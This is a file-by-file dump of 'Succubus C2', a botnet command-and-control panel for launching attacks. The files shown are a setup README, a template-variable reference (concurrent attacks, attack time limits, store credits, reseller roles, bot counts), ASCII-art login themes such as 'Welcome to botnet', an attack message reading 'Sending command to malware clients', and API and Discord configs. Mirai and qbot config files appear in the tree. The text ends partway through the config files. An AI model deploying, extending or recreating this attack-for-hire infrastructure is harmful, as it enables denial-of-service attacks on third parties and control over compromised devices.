├── Markup_ReadMe.txt ├── README.md ├── assets ├── accountinfo ├── attack ├── attack2 ├── captcha ├── cube.gif ├── login ├── otp ├── pass ├── succ ├── test ├── themes │ ├── alternate │ │ └── banner.txt │ ├── blackjack │ │ ├── banner.txt │ │ └── egg.txt │ ├── cyberdeck │ │ └── banner.txt │ ├── egg.txt │ ├── flavors │ │ └── banner.txt │ ├── neko │ │ └── banner.txt │ ├── outdated │ │ ├── banner.txt │ │ └── egg.txt │ └── razer │ │ └── banner.txt ├── tos ├── user ├── yae.gif └── yae.neko.tfx ├── config ├── DLC │ ├── api.json │ ├── discord.json │ ├── gif.json │ ├── gradient.json │ ├── mirai.json │ ├── qbot.json │ ├── shop.json │ └── telegram.json ├── attacks.json ├── commands.json ├── methods.json ├── succubus.json ├── themes.json └── whitelist.json ├── doodump.sql ├── main ├── plugin ├── list.go └── test.go ├── update.sh └── web ├── api_attack.html ├── assets ├── css │ ├── black-dashboard.css │ ├── black-dashboard.css.map │ ├── black-dashboard.min.css │ └── nucleo-icons.css ├── fonts │ ├── nucleo.eot │ ├── nucleo.ttf │ ├── nucleo.woff │ └── nucleo.woff2 ├── img │ ├── 12345.png │ ├── anime3.png │ ├── anime6.png │ ├── apple-icon.png │ ├── bg5.jpg │ ├── default-avatar.png │ ├── emilyz.jpg │ ├── favicon.ico │ ├── favicon.png │ ├── header.jpg │ ├── img_3115.jpg │ ├── james.jpg │ ├── mike.jpg │ ├── now-logo.png │ └── s.png ├── js │ ├── black-dashboard.js │ ├── black-dashboard.js.map │ ├── black-dashboard.min.js │ ├── core │ │ ├── bootstrap.min.js │ │ ├── jquery.min.js │ │ └── popper.min.js │ └── plugins │ │ ├── bootstrap-notify.js │ │ ├── chartjs.min.js │ │ └── perfect-scrollbar.jquery.min.js ├── login │ ├── login.html │ ├── script.js │ └── styles.css ├── script.js ├── style.css └── succubus.png ├── dashboard ├── attack.html ├── dashboard.html ├── manage.html └── user.html ├── index.html └── login ├── login.html ├── script.js └── styles.css /Markup_ReadMe.txt: -------------------------------------------------------------------------------- 1 | <<$ring>> terminal ring 2 | <<$clear>> clear screen 3 | 4 | ---------------------------------------- 5 | 6 | <<$uptime>> timesince started 7 | <<$os>> Server OS 8 | <<$arch>> Server Cpu arch "x86" the binary is compiled for x86 already 9 | 10 | ----------------------------------------- 11 | 12 | <<$username>> username for session 13 | <<$concurrents>> allowed concurrent attacks for session 14 | <<$timelimit>> allowed max attack time for session 15 | <<$credits>> credits in cnc store 16 | <<$cooldown>> cooldown between attacks for session 17 | <<$remoteaddress>> connected address for session 18 | <<$remoteclient>> SSH client for session 19 | <<$roles>> roles array 20 | 21 | <<$vip>> vip boolean 22 | <<$reseller>> reseller boolean 23 | <<$admin>> admin boolean 24 | <<$banned>> banned boolean 25 | <<$api>> api acess boolean 26 | 27 | <<$expiry>> expiry rounded the the nearest unit of measurement i.e 100 days(s) 28 | <<$expirydate>> expiry as date 2022-05-20 29 | <<$expirydays>> expiry as the number of day 30 | 31 | ----------------------------------------- 32 | 33 | <<$ongoing>> ongoing attacks for session 34 | <<$onlineusers>> open sessions for server 35 | <<$allgoing>> all running attacks for server 36 | <<$allattacks>> total attacks for server "mysql" 37 | <<$totalusers>> total users in database 38 | 39 | ----------------------------------------- 40 | 41 | <> sleep for int 42 | <> 43 | 44 | ----------------------------------------- 45 | 46 | <<$spinner>> spinner for title only 47 | 48 | ----------------------------------------- 49 | 50 | <> Paid Gif DLC 51 | <> Paid Gif DLC 52 | <> Paid Gif DLC 53 | 54 | ----------------------------------------- 55 | 56 | <<$delay>> delay of attack in attack asset 57 | <<$host>> Display attacked host where applicable 58 | <<$port>> Display attacked port where applicable 59 | <<$time>> Display duration of attack where applicable 60 | <<$method>> Display method of attack where applicable 61 | 62 | ----------------------------------------- 63 | 64 | <<$botcount>> Shows all connected devices including fakecount devices 65 | 66 | ----------------------------------------- 67 | 68 | <<$date>> date using users timezone 69 | <<$timenow>> current time (1:00pm) 70 | <<$timezone>> Timezone of user 71 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Succubus C2 2 | 3 | ![Succubus IMG](https://repository-images.githubusercontent.com/399815613/382efa0e-9147-4225-a304-29fccb61b25a) 4 | 5 | If you think this is a backdoor please submit the proof as an issue or fork to this repository otherwise fuck off, sincerely bleach. 6 | 7 | 6525 Lines of code and counting 8 | 9 | Non profit c2 for all you wanting something to 10 | get off of the ground and start your projects. 11 | Don't annoy or complain to others that they are 12 | using a free c2. Why should anyone pay for 13 | something that's free. you just look like an 14 | idiot. :) 15 | 16 | ## Setup 17 | 18 | Setup Video - https://www.youtube.com/watch?v=TFNugqO2y4k 19 | 20 | - first step - mysql 21 | 22 | *need to setup mysql?* Go Here: https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/ 23 | 24 | > You may need to allow localhost to connect if you do not allow remote connections here is a command that should allow you to whitelist yourself 25 | > 26 | > `$ mysql -u USERNAME -pSECRET_PASSWORD mysql -e "grant ALL on *.* to USERNAME@'localhost' IDENTIFIED by 'SECRET_PASSWORD';"` 27 | 28 | > If you have too many file descriptors open change to however much you need 29 | > 30 | > `$ ulimit -n 999999` 31 | 32 | `$ mysql -u USERNAME -p SECRET_PASSWORD succubus < doodump.sql` 33 | *that's all there is too it folks* 34 | 35 | - second step - customize! 36 | go ahead you're already good to go! 37 | 38 | *original made in a week flat* 39 | -------------------------------------------------------------------------------- /assets/accountinfo: -------------------------------------------------------------------------------- 1 | username=<<$username>> 2 | concurrents=<<$concurrents>> 3 | timelimit=<<$timelimit>> 4 | cooldown=<<$cooldown>> 5 | expiry=<<$expiry>> day(s) left 6 | Myip=<<$remoteaddress>> 7 | Myclient=<<$remoteclient>> 8 | -------------------------------------------------------------------------------- /assets/attack: -------------------------------------------------------------------------------- 1 | Attack sent! 2 | -------------------------------------------------------------------------------- /assets/attack2: -------------------------------------------------------------------------------- 1 | <>[Atk] Parsing command... 2 | <>[Atk] Payload built... 3 | <>[Atk] Sending commannd to malware clients... 4 | <>[Atk] Command sent! 5 | <>[Atk] Operation complete. 6 | -------------------------------------------------------------------------------- /assets/captcha: -------------------------------------------------------------------------------- 1 | <<$clear>>[Succubus Captcha] 2 | Type out the ASCII art below to access the CNC 3 | 4 | -------------------------------------------------------------------------------- /assets/cube.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/assets/cube.gif -------------------------------------------------------------------------------- /assets/login: -------------------------------------------------------------------------------- 1 | <<$clear>> 2 | 3 | 4 | ___| | 5 | \___ \ | | __| __| | | __ \ | | __| 6 | | | | ( ( | | | | | | \__ \ 7 | _____/ \__,_| \___| \___| \__,_| _.__/ \__,_| ____/ 8 | 9 | _| _|_| _| 10 | _| _| _| _|_|_| _|_|_| 11 | _| _| _| _| _| _| _| _| 12 | _| _| _| _| _| _| _| _| 13 | _|_|_|_| _|_| _|_|_| _| _| _| 14 | _| 15 | _|_| .Test 16 | 17 | Username:   18 | 19 | Password: Censored  20 | 21 | 22 | 23 | 24 | Please login to your account... -------------------------------------------------------------------------------- /assets/otp: -------------------------------------------------------------------------------- 1 | enter your otp below weirdo 2 | -------------------------------------------------------------------------------- /assets/pass: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /assets/succ: -------------------------------------------------------------------------------- 1 | <> 2 | <<$clear>>\x1b[38;2;222;3;244m ╓g` ⁿ▄, 3 | \x1b[38;2;214;4;244m ╥▓╢╫ ▐╣▓@, 4 | \x1b[38;2;205;6;244m ,▓╢╣╣╣▌ ╣╣╣╣▓▄ 5 | \x1b[38;2;196;8;244m ,▓╣╢╣╣╣╣▓ y /╣╣╣╣╣╣▓▄ 6 | \x1b[38;2;187;9;244m ▓╢╣╣╣╣╣╣╣╢▓W ╔▓ ▓, ,▓╣╣╣╣╣╣╣╣╣▓╖ 7 | \x1b[38;2;178;11;245m ╔▓╣╣╢╢╣╣╣╣╣╣╢╢╣▓▓æ╖, ,æ ,g▓▓ ╙╣▓╖ *╖ ,╥@▓▓╣╣╣╣╣╣╣╣╢╢╣╢╣▓ 8 | \x1b[38;2;169;13;245m ╔╢╣╣╢▓▓╣╣╣╣╣╣╣╣╣╣╢╢╣╣╢▓▓▀,,╓╓╓, "▓╣▌ ▓▓▀',,╓╓,,`▀▓▓╢╣╣╣╣╣╣╣╣╣╣╣╣╣╣▓▓╣╣╣▓ 9 | \x1b[38;2;169;13;245m ╒╢╣▓╜ ╒╢╣╣╢▓╜`` `▀╣▓▀`╓@▓╢╢▓▀""╙▀▓▓▄╙╕ ▓`▄▓▓▀╙"╙▀▓╢▓▓▄,"▓╢╢╜```"▀▓╣╣╣▓ ▓╣╣▓ 10 | \x1b[38;2;160;15;245m ▓╣▓ ▓╣▓╜ ▀ ╔▓╣╣▓╜ ▀▓ ╓▓" ▀╢╣╢▓, ▌ ▓╣╣ ▓╣L 11 | \x1b[38;2;160;15;245mj╢▌ ▓▓ ▓╣╣╫╜ ▓ ╓▀ ▓╣╣╢▄ ╙╢ ▓▓ 12 | \x1b[38;2;151;16;245m▐▓ ▐ ▓╣╢╢` ,╓╖╖, ▓▓▌ ,╓╓, ▓╢╣╢r ▐ ╣ 13 | \x1b[38;2;143;18;246m╟' ▓╣╣▓ ,▓` ▀@ ▓╢" ╓▓╜ ▀▄ ╣╢╣▌ ▓ 14 | \x1b[38;2;134;20;246m▐ ▓╣╣▌ ▓ j▓╕ Æ▓ ╟L ╣╣╣` ╟ 15 | \x1b[38;2;125;21;246m L ┌ ▓╣▓ ╚▄ "▀▓ ▓▀ ┐ ▓ ╢╣▀ ▌ 16 | \x1b[38;2;116;23;246m ▓╖ ╙▓▓ '▓N▄╖▓▄ ▓▓╓▄&▀ ╓▓▓ ,╔▓ / 17 | \x1b[38;2;107;25;247m g▓▓" "¬ `▀▓▄, "▀╖ ▄▀` ╓@▓╜ ,ⁿ` "▀▓▓╖ 18 | \x1b[38;2;98;27;247m ╒▓"` ⁿw "▀R▄, ▐▓ ▓ ,╓g▓╜" ,⌐` "▀▓ 19 | \x1b[38;2;89;28;247m ▓▓╖ ╙▀▓▓╖╙ ƒ`æ▓▓▀" ▄▓▌ 20 | \x1b[38;2;80;30;247m ƒ ▓▓ ,▓╜ ╙, 21 | \x1b[38;2;72;32;248m `"*▓ ,, ▓ ▓ ,. ,▓²"` 22 | \x1b[38;2;63;33;248m ╙N, ▀▓╓▓╜,╓▓ 23 | \x1b[38;2;54;35;248m `"▓╣▀"\x1b[0m 24 | -------------------------------------------------------------------------------- /assets/test: -------------------------------------------------------------------------------- 1 | ==Config: 2 | name:test 3 | alias: tester,thing 4 | permissions: admin,reseller 5 | description: this is a test command 6 | title: test command title 7 | test: just some text 8 | End== 9 | Hey there I'm a test command! 10 | here is your text variable content: <<$test>> 11 | -------------------------------------------------------------------------------- /assets/themes/alternate/banner.txt: -------------------------------------------------------------------------------- 1 | <<$clear>> 2 | ╓g` ⁿ▄, 3 | ╥▓╢╫ ▐╣▓@, 4 | ,▓╢╣╣╣▌ ╣╣╣╣▓▄ 5 | ,▓╣╢╣╣╣╣▓ y /╣╣╣╣╣╣▓▄ 6 | ▓╢╣╣╣╣╣╣╣╢▓W ╔▓ ▓, ,▓╣╣╣╣╣╣╣╣╣▓╖ 7 | ╔▓╣╣╢╢╣╣╣╣╣╣╢╢╣▓▓æ╖, ,æ ,g▓▓ ╙╣▓╖ *╖ ,╥@▓▓╣╣╣╣╣╣╣╣╢╢╣╢╣▓ 8 | ╔╢╣╣╢▓▓╣╣╣╣╣╣╣╣╣╣╢╢╣╣╢▓▓▀,,╓╓╓, "▓╣▌ ▓▓▀',,╓╓,,`▀▓▓╢╣╣╣╣╣╣╣╣╣╣╣╣╣╣▓▓╣╣╣▓ 9 | ╒╢╣▓╜ ╒╢╣╣╢▓╜`` `▀╣▓▀`╓@▓╢╢▓▀""╙▀▓▓▄╙╕ ▓`▄▓▓▀╙"╙▀▓╢▓▓▄,"▓╢╢╜```"▀▓╣╣╣▓ ▓╣╣▓ 10 | ▓╣▓ ▓╣▓╜ ▀ ╔▓╣╣▓╜ ▀▓ ╓▓" ▀╢╣╢▓, ▌ ▓╣╣ ▓╣L 11 | j╢▌ ▓▓ ▓╣╣╫╜ ▓ ╓▀ ▓╣╣╢▄ ╙╢ ▓▓ 12 | ▐▓ ▐ ▓╣╢╢` ,╓╖╖, ▓▓▌ ,╓╓, ▓╢╣╢r ▐ ╣ 13 | ╟' ▓╣╣▓ ,▓` ▀@ ▓╢" ╓▓╜ ▀▄ ╣╢╣▌ ▓ 14 | ▐ ▓╣╣▌ ▓ j▓╕ Æ▓ ╟L ╣╣╣` ╟ 15 | L ┌ ▓╣▓ ╚▄ "▀▓ ▓▀ ┐ ▓ ╢╣▀ ▌ 16 | ▓╖ ╙▓▓ '▓N▄╖▓▄ ▓▓╓▄&▀ ╓▓▓ ,╔▓ / 17 | g▓▓" "¬ `▀▓▄, "▀╖ ▄▀` ╓@▓╜ ,ⁿ` "▀▓▓╖ 18 | ╒▓"` ⁿw "▀R▄, ▐▓ ▓ ,╓g▓╜" ,⌐` "▀▓ 19 | ▓▓╖ ╙▀▓▓╖╙ ƒ`æ▓▓▀" ▄▓▌ 20 | ƒ ▓▓ ,▓╜ ╙, 21 | `"*▓ ,, ▓ ▓ ,. ,▓²"` 22 | ╙N, ▀▓╓▓╜,╓▓ 23 | `"▓╣▀"` 24 | -------------------------------------------------------------------------------- /assets/themes/blackjack/banner.txt: -------------------------------------------------------------------------------- 1 | <<$clear>> 2 | \x1b[0m.------..------..------..------..------..------..------..------..------. 3 | \x1b[0m|\x1b[38;5;8mB\x1b[0m.--. ||\x1b[38;5;8mL\x1b[0m.--. ||\x1b[38;5;1mA\x1b[0m.--. ||\x1b[38;5;1mC\x1b[0m.--. ||\x1b[38;5;1mK\x1b[0m.--. ||\x1b[38;5;8mJ\x1b[0m.--. ||\x1b[38;5;1mA\x1b[0m.--. ||\x1b[38;5;1mC\x1b[0m.--. ||\x1b[38;5;1mK\x1b[0m.--. | 4 | \x1b[0m| :\x1b[38;5;8m()\x1b[0m: || :\x1b[38;5;8m/\\x1b[0m: ||\x1b[38;5;1m (\/) \x1b[0m|| :\x1b[38;5;1m/\\x1b[0m: || :\x1b[38;5;1m/\\x1b[0m: || :\x1b[38;5;8m()\x1b[0m: ||\x1b[38;5;1m (\/) \x1b[0m|| :\x1b[38;5;1m/\\x1b[0m: || :\x1b[38;5;1m/\\x1b[0m: | 5 | \x1b[0m|\x1b[38;5;8m ()() \x1b[0m||\x1b[38;5;8m (__) \x1b[0m|| :\x1b[38;5;1m\/\x1b[0m: || :\x1b[38;5;1m\/\x1b[0m: || :\x1b[38;5;1m\/\x1b[0m: ||\x1b[38;5;8m ()() \x1b[0m|| :\x1b[38;5;1m\/\x1b[0m: || :\x1b[38;5;1m\/\x1b[0m: || :\x1b[38;5;1m\/\x1b[0m: | 6 | \x1b[0m| '--'\x1b[38;5;8mB\x1b[0m|| '--'\x1b[38;5;8mL\x1b[0m|| '--'\x1b[38;5;1mA\x1b[0m|| '--'\x1b[38;5;1mC\x1b[0m|| '--'\x1b[38;5;1mK\x1b[0m|| '--'\x1b[38;5;8mJ\x1b[0m|| '--'\x1b[38;5;1mA\x1b[0m|| '--'\x1b[38;5;1mC\x1b[0m|| '--'\x1b[38;5;1mK\x1b[0m| 7 | \x1b[0m`------'`------'`------'`------'`------'`------'`------'`------'`------' 8 | 9 | -------------------------------------------------------------------------------- /assets/themes/blackjack/egg.txt: -------------------------------------------------------------------------------- 1 | Why do you guys like gambling I legit see youy all waste your money and time -------------------------------------------------------------------------------- /assets/themes/cyberdeck/banner.txt: -------------------------------------------------------------------------------- 1 | <<$clear>>\x1b[38;2;163;78;78m 2 | _________ ___. ________ __ 3 | \_ ___ \___.__.\_ |__ __________\______ \ ____ ____ | | __ 4 | / \ \< | | | __ \_/ __ \_ __ \ | \_/ __ \_/ ___\| |/ / 5 | \ \___\___ | | \_\ \ ___/| | \/ ` \ ___/\ \___| < 6 | \______ / ____| |___ /\___ >__| /_______ /\___ >\___ >__|_ \ 7 | \/\/ \/ \/ \/ \/ \/ \/ 8 | \x1b[0m 9 | ---> \x1b[38;2;0;251;255mContinuing to cyberspace under alias <><> 10 | \x1b[0m - \x1b[38;2;0;251;255mAttempting Cyberware connection\x1b[0m...<> \x1b[38;2;61;196;43m OK<> 11 | \x1b[0m - \x1b[38;2;0;251;255mStreaming \x1b[0m"\x1b[38;5;1mVisual Feed\x1b[0m" - \x1b[38;2;163;78;78mKiroshi Optics <> \x1b[38;2;61;196;43m OK<> 12 | \x1b[0m - \x1b[38;2;0;251;255mFetching Human Machine Interface\x1b[0m... <> \x1b[38;2;61;196;43m OK<> 13 | \x1b[0m - \x1b[38;2;0;251;255mCyberware\x1b[0m/\x1b[38;2;0;251;255mCyberDeck \x1b[0m- \x1b[38;2;0;251;255mInvoke Device \x1b[0m"\x1b[38;5;1mCySpace Explorer\x1b[0m" <> \x1b[38;2;61;196;43m OK<> 14 | \x1b[0m - \x1b[38;2;0;251;255mHaptic Emulator Detected \x1b[0m"\x1b[38;5;1mBDWreath\x1b[0m" \x1b[38;2;0;251;255mRoute \x1b[38;2;163;78;78mCySpace EmEnv Neuralink <> \x1b[38;2;61;196;43m OK<> 15 | \x1b[0m - \x1b[38;2;0;251;255mCySpace Explorer Esta to \x1b[38;2;163;78;78mnode2f49kd2.arasaka.ntc \x1b[0m"\x1b[38;5;1mConstruct_Schema.q\x1b[0m" <> \x1b[38;2;61;196;43m OK<> 16 | \x1b[0m - \x1b[38;2;0;251;255mPreforming Anti Data Heuristics\x1b[0m... <> \x1b[38;2;61;196;43m OK<> 17 | \x1b[38;2;0;251;255mReturning to \x1b[0m"\x1b[38;5;1mHome\x1b[0m"<> 18 | \x1b[9A\x1b[0G\x1b[0J[\x1b[38;2;0;251;255mCyOs\x1b[0m] \x1b[38;2;0;251;255mWelcome back <> 19 | -------------------------------------------------------------------------------- /assets/themes/egg.txt: -------------------------------------------------------------------------------- 1 | there are a few more of these hidden around... 2 | 3 | 4 | i hope these examples show more of what succubus can actually do i don't like explaining thing to everyone -------------------------------------------------------------------------------- /assets/themes/flavors/banner.txt: -------------------------------------------------------------------------------- 1 | <<$clear>>\x1b[0m[\x1b[38;2;128;126;247mSystem\x1b[0m] \x1b[38;2;247;126;245mWelcome \x1b[38;2;231;247;126m<<$username>> \x1b[38;2;247;126;245menjoy your stay here\x1b[0m! 2 | \x1b[38;2;126;211;247m______\x1b[38;2;247;126;245m__ 3 | \x1b[38;2;126;211;247m/ ____/\x1b[38;2;247;126;245m /\x1b[38;2;154;247;126m___ _\x1b[38;2;231;247;126m_ __\x1b[38;2;184;126;247m____ \x1b[38;2;126;247;215m_____\x1b[38;2;128;126;247m_____ 4 | \x1b[38;2;126;211;247m/ /_ \x1b[38;2;247;126;245m/ /\x1b[38;2;154;247;126m __ `/\x1b[38;2;231;247;126m | / /\x1b[38;2;184;126;247m __ \\x1b[38;2;126;247;215m/ ___/\x1b[38;2;128;126;247m ___/ 5 | \x1b[38;2;126;211;247m/ __/ \x1b[38;2;247;126;245m/ /\x1b[38;2;154;247;126m /_/ /\x1b[38;2;231;247;126m| |/ / \x1b[38;2;184;126;247m/_/ /\x1b[38;2;126;247;215m / \x1b[38;2;128;126;247m(__ ) 6 | \x1b[38;2;126;211;247m/_/ \x1b[38;2;247;126;245m/_/\x1b[38;2;154;247;126m\__,_/ \x1b[38;2;231;247;126m|___/\x1b[38;2;184;126;247m\____/\x1b[38;2;126;247;215m_/ \x1b[38;2;128;126;247m/____/ 7 | 8 | 9 | -------------------------------------------------------------------------------- /assets/themes/neko/banner.txt: -------------------------------------------------------------------------------- 1 | <<$clear>> ╔╗╔╔═╗╦╔═╔═╗ ┬ ┬┬ ┬┌┐ 2 | ║║║║╣ ╠╩╗║ ║ ├─┤│ │├┴┐ 3 | ╝╚╝╚═╝╩ ╩╚═╝ ┴ ┴└─┘└─┘ 4 | ╔══════════════════╦════════════════════════════════════════╦══════════════════╗ 5 | ║ 𝗠𝘆 𝗦𝘁𝗮𝘁𝘀 ║⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠀⠀⠒⠒⠛⠢⢤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀║ Welcome to neko  ║ 6 | ╠══════════════════╣⠀⠀⠀⠀⠀⠀⠀⠀⡀⠄⠀⠀⠀⠠⠐⠒⠒⠛⠛⠛⠚⠕⡢⢹⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀║ Made by the god  ║ 7 | ║ Concurrents  ║⠀⠠⣀⣀⣠⣤⣴⡴⠊⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⡫⠻⣧⠙⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀║ of ahegao and ║<<$concurrents>> 8 | ╠══════════════════╣⠀⠀⠈⠛⠛⢻⡟⣡⡶⢊⡀⠀⠀⠀⠀⠀⢀⣄⠀⠀⠀⠀⠀⠀⢧⢣⠘⡇⠘⣿⣷⣤⣀⠀⠀⠀⠀⠀⠀⠀║ nekos bleach ║ 9 | ║ Timelimit  ║⠀⠀⠀⠀⢠⡜⣵⡿⢡⣿⣳⡁⣀⣄⡀⠄⢀⠌⠀⠀⠀⠀⠀⠀⢸⠈⠆⠀⠀⠹⣿⠇⠀⠉⠠⠀⠀⠀⠀⠀║ aka lolinekos  ║<<$timelimit>> 10 | ╠══════════════════╣⠀⠀⠀⣰⠏⠸⣽⣧⣿⣿⣿⣽⣿⣿⠊⢀⡮⡰⡀⠀⡠⠁⠀⠀⢸⠀⡇⠀⠀⠀⠋⡄⠀⠀⠀⢑⠀⠀⠀⠀╠══════════════════╣ 11 | ║ Cooldown  ║⠀⠀⣰⠏⠀⡳⣿⣿⣟⣿⣿⡻⢿⠁⢠⣿⡿⣱⢣⣾⣇⡄⣄⢠⡆⠀⡇⠀⠀⠀⢸⡟⣄⠀⠀⠈⣆⠀⠀⠀║ ☵☷☷☲☵☵☵☰☶☵☴☷☲☴☴☲ ║<<$cooldown>> 12 | ╠══════════════════╣⠀⣼⠏⠀⢠⢡⣿⣿⢻⣿⣷⠏⠀⠰⣱⡿⢻⣿⢿⣿⣿⣿⣿⡿⠀⢠⡇⣄⣶⠀⢸⡇⠈⠣⡀⠀⢹⣧⡀⠀║ ☳☱☷☱☴☶☷☲☱☵☵☵☲☲☳☶ ║ 13 | ║ Rank  ║⠀⡋⠀⠀⠰⣼⣿⢠⢼⣿⠃⠀⠀⠘⠱⠕⣪⣣⡻⣿⣿⣿⣿⠃⢀⣾⣸⣼⣿⣰⣿⣿⣆⣄⠹⢶⣌⢿⣷⡀║ ☴☴☴☰☵☷☲☴☶☵☰☳☱☷☴☴ ║<<$admin>> 14 | ╠══════════════════╣⠀⣠⢀⠀⣧⡟⠁⠈⠉⠀⠀⠀⠀⠀⠀⢩⣿⣿⣮⡾⢿⡿⠁⠀⣼⢧⣿⣿⣿⣹⣿⣿⣿⣿⠀⠀⠈⠙⠻⠿║ ☲☵☰☲☶☲☰☵☱☶☴☳☶☳☵☷ ║ 15 | ║ ☳☰☲☲☷☱☶☳☷☰☱☷☲☲☶☵ ║⢠⣿⢰⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣶⣿⣿⣿⣷⡟⠁⠁⣼⣯⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀║ ☰☷☷☰☶☱☷☱☲☷☵☵☷☷☴☵ ║ 16 | ║ ☵☱☳☵☵☷☰☵☶☷☵☷☷☰☷☶ ║⣾⣿⣾⣾⣿⡀⠀⢀⡀⠀⠀⠀⠀⣤⣤⣳⢽⢿⢿⣿⠋⠀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀║ ☷☷☳☱☳☱☱☱☷☲☶☱☰☷☱☰ ║ 17 | ║ ☰☲☴☵☱☴☷☴☴☶☲☶☲☳☳☲ ║⣟⣷⣾⣿⣿⢃⠀⢸⣿⣿⣦⡄⠀⠈⠛⠻⣤⣶⢞⠉⡠⢚⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀║ ☰☵☵☴☰☴☰☶☲☵☵☴☴☳☴☶ ║ 18 | ║ ☷☰☵☴☲☷☷☷☳☳☶☲☷☶☷☴ ║⡏⣿⣿⣿⡏⠀⣦⢸⣿⡿⣿⡇⠀⠠⠴⣾⣿⣟⡵⣪⣶⣾⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⡇⠀⢀⣶⣶⣾⣶⡦║ ☲☴☲☰☳☵☲☱☰☴☶☶☰☰☷☶ ║ 19 | ║ ☳☳☴☳☷☴☵☰☴☰☶☵☲☳☱☳ ║⠀⠙⣿⣿⠡⣰⣿⣆⣀⡉⠉⣀⣠⣴⣿⢿⣻⣵⠞⣵⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿⣿⣿⣆⠙⢿⣿⡯⡙⠛║ ☶☰☰☷☲☲☶☷☵☴☱☳☷☵☰☷ ║ 20 | ║ ☰☷☱☳☶☴☰☶☰☷☱☷☴☳☳☰ ║⠀⠀⠈⠛⢇⠈⠟⠿⠿⣿⣿⣿⣿⣿⣷⣿⣿⣵⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⢿⢗⢼⣿⣿⣿⣷⣤⡉⠓⢄⡀║ ☷☳☷☲☷☰☱☱☱☲☴☲☵☴☱☴ ║ 21 | ║ ☱☲☳☳☳☷☰☴☵☴☳☴☱☶☳☷ ║⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠻⢿⣿⣿⣿⣿⡻⣿⣿⣿⣿⣿⣿⡇⣿⣿⣷⣆⡇⢿⣿⣿⣿⣿⣿⡷⠶⣭║ ☴☲☲☵☰☶☴☶☰☴☶☰☷☰☱☲ ║ 22 | ║ ☷☲☵☷☱☰☱☱☷☴☲☲☲☴☳☰ ║⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠉⣿⣿⣿⣿⣿⠁⣿⣿⣷⠟⠋⠘⢿⣿⣿⣿⡿⣿⡦⢄║ ☴☲☰☳☴☶☱☵☴☲☱☳☳☲☴☵ ║ 23 | ╚══════════════════╩════════════════════════════════════════╩══════════════════╝ 24 | -------------------------------------------------------------------------------- /assets/themes/outdated/banner.txt: -------------------------------------------------------------------------------- 1 | <<$clear>>Welcome to botnet <<$username>> 2 | -------------------------------------------------------------------------------- /assets/themes/outdated/egg.txt: -------------------------------------------------------------------------------- 1 | SIMPLE THEME OMG SO 1337 SOOOOO LAZYYYYYYYYY 2 | incase you were wondering making your assets look shit doesn't make you look leet or 3 | like you spend time some place else it just look shit overall lel -------------------------------------------------------------------------------- /assets/themes/razer/banner.txt: -------------------------------------------------------------------------------- 1 |  ,((#%. 2 | .#&%, @@(* 3 | @@( #@@@/ 4 | @@@@@@@/ @@% 5 | #@@, /@@ (@@# 6 | *@@. ,@/.%@@@# #@@& 7 | @@# .* @@, @@& /@@@ 8 | %&#. &@& #@@. * .@@* @@* ,@. ,@@% 9 | *@@@/@@ .@@/ &@@@@@@@@@@. &. *@@* 10 | @@( (@@* ,@@&. &@@, ,@@%&# .(@@% 11 | /##. .@& ,&@@@@@@@@@&(#&@&#. 12 | @@@@@%* 13 | @@@/@ ,  ┬─┐┌─┐┌─┐ ── ┬─┐  14 | @@  ├┬┘│ │┌─┘ ── ├┬┘  15 | &@@&*,,,/%@@@@@@@@@@@.  ┴└─┴ ┴└─┘ ── ┴└─  16 | ,#&&%#(*. .@@. RGB 17 | (&@@@. 18 | ,@@@@ 19 | &@* 20 | (# 21 | / 22 | 23 | -------------------------------------------------------------------------------- /assets/tos: -------------------------------------------------------------------------------- 1 | <$clear>blah blah blah 2 | test tos bullshit change to whatever you want 3 | Type 'i agree' to continue 4 | -------------------------------------------------------------------------------- /assets/user: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /assets/yae.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/assets/yae.gif -------------------------------------------------------------------------------- /config/DLC/api.json: -------------------------------------------------------------------------------- 1 | { 2 | "config":{ 3 | "enabled":true, 4 | "launch feedback":false, 5 | "port":1337, 6 | "path":"/succubus/api", 7 | "control panel":true 8 | }, 9 | "servers":[ 10 | { 11 | "name":"alpha", 12 | "config":{ 13 | "host":"127.0.0.2:22", 14 | "username":"root", 15 | "password":"password123" 16 | } 17 | }, 18 | { 19 | "name":"omega", 20 | "config":{ 21 | "host":"127.0.0.2:22", 22 | "username":"root", 23 | "password":"secret" 24 | } 25 | } 26 | ] 27 | } 28 | -------------------------------------------------------------------------------- /config/DLC/discord.json: -------------------------------------------------------------------------------- 1 | { 2 | "enabled":false, 3 | "token":"Token_Here", 4 | "webhook":"Webhooke_Here", 5 | 6 | "-Comment- Remove this line":"settings below are for the discord bot", 7 | "logs":{ 8 | "enabled":true, 9 | "channel": 997046944419553320 10 | }, 11 | "monitor":{ 12 | "enabled":true, 13 | "channel": 997605583647690753, 14 | "message": 997619514583826456, 15 | "delay": 5000 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /config/DLC/gif.json: -------------------------------------------------------------------------------- 1 | { 2 | "skipframe" : false, 3 | "forcefps": 8 4 | } -------------------------------------------------------------------------------- /config/DLC/gradient.json: 